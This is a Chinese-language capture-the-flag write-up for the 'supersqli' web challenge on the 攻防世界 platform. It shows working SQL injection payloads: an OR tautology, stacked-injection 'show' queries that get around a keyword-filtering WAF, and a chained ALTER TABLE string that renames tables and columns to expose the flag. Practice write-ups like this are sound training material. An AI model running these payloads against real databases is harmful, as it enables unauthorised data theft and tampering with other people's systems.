攻防世界-web-supersqli

1. 题目描述:

攻防世界-web-supersqli_第1张图片

 2. 思路分析

这里尝试按照基本思路进行验证,先确定注入点,然后通过union查询依次确认数据库名,表名,字段名,最终获取到我们想要的字段信息。

这里只有一个输入框,所以注入点肯定存在且只有一个,我们可以简单验证下:

攻防世界-web-supersqli_第2张图片

 攻防世界-web-supersqli_第3张图片

使用 or 永真修改查询条件可以将所有信息查询出来,因此这里肯定是存在sql注入的

然后尝试使用union select查询出数据库名

攻防世界-web-supersqli_第4张图片

我们发现结果并不是我们想要的,我们的sql注入语句被waf拦截掉了,看报错信息,waf过滤了select, update, delete, drop, insert, where等字符,而且无法进行大小写绕过

因此,这里的关键就是如何绕过waf的限制

这里试过注释绕过和大小写绕过,发现无法绕过waf的限制。

因此这里常见的union select注入方法在这里不生效

尝试用其它方式来获取表名和字段名,这里参考资料攻防世界-supersqli详解_Mr H的博客-CSDN博客,

思路如下:

1. 使用堆叠注入获取表名和字段名,

2. 将我们需要查的表名修改为默认查询的表名

博客里提到的一种预编译绕过的方式可以让我们绕过waf的限制使用select语句,处理起来较为复杂,这里就不详细说明了

3. 解题过程

1. 使用1'; show databases; -- 1 获取到所有的数据库名

攻防世界-web-supersqli_第5张图片

2. 使用1'; show tables; -- 1 获取到所有的表名

 攻防世界-web-supersqli_第6张图片

3. 使用1'; show columns from words; -- 1 和 1'; show columns from `1919810931114514`; -- 1获取到两个表的字段名

攻防世界-web-supersqli_第7张图片

攻防世界-web-supersqli_第8张图片

 我们可以看到,flag就在表1919810931114514中

4. 最后就是查询字段的内容了

我们看到,服务端默认的查询语句查询出两个字段,说明查询的是words表,我们将表1919810931114514的名字改成words并且将flag字段改为id字段不就行了吗? 试一下

先将words表名改为words1:
alter table words rename to words1;

然后将1919810931114514表名改为words

alter table `1919810931114514` rename to words;

最后将flag字段改为id,并将属性设置为varchar

alter table words change flag id varchar(50); -- 1

三条语句需要合并在一起,不然先改了words表名会导致后面无法执行成功:

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); -- 1

(PS:这里一定要手动输入,直接拷贝可能存在编码问题,一直不成功)

最后,通过如下语句查询出flag

1' or 1 = 1 -- 1

攻防世界-web-supersqli_第9张图片

总结:这道题展示了另一种sql注入的方法,堆叠注入,在waf对select, where等常规查询字段进行了限制的情况下,我们可以通过show, alter等sql语句来进行绕过,最终获取到我们需要的信息。

 

你可能感兴趣的:(数据库,sql,mysql)